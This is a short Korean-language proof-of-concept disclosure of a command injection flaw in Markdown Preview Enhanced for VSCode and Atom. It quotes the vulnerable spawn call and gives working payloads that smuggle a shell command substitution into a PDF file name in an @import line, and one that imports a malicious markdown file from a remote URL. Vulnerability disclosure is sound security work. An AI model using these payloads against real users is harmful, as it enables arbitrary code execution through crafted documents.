
[PoC] Markdown Preview Enhanced(VSCode, Atom)의 PDF 가져오기를 통한 명령 주입 취약점
PDF 가져오기를 통한 명령 주입 취약점 (Markdown Preview Enhanced - VSCode, Atom)
Mume 마크다운 도구 라이브러리는 {shell: true} 옵션과 함께 spawn 명령을 사용하여 명령 주입 취약점에 노출되었습니다. 이 취약점으로 인해 공격자는 피해자를 속여 VSCode 또는 Atom을 사용해 특수하게 조작된 Markdown 파일을 열게 함으로써 임의 코드 실행을 달성할 수 있습니다. 이 라이브러리는 VSCode 및 Atom용 Markdown Preview Enhanced 플러그인을 구동합니다.
취약한 코드 조각:
const task = spawn(
"pdf2svg",
[
`"${pdfFilePath}"`,
`"${path.resolve(svgDirectoryPath, svgFilePrefix + "%d.svg")}"`,
"all",
],
{ shell: true },
)
다음 Markdown 문서를 사용하면 공격자가 임의 명령을 실행할 수 있습니다:
@import "$(open -a Calculator > /dev/null | exit 0)hello.pdf"
다음 주석은 MPE에서 유효한 "@import" 명령으로 인식됩니다:
<!-- @import "$(open -a Calculator > /dev/null | exit 0)hello.pdf" -->
또는 페이로드를 외부 소스에서 실행할 수도 있습니다:
<!-- @import "https://raw.githubusercontent.com/yuriisanin/CVE-2022-45025/main/examples/malicious.md" -->
YouTube에서 VSCode 및 Atom 데모를 확인하세요.
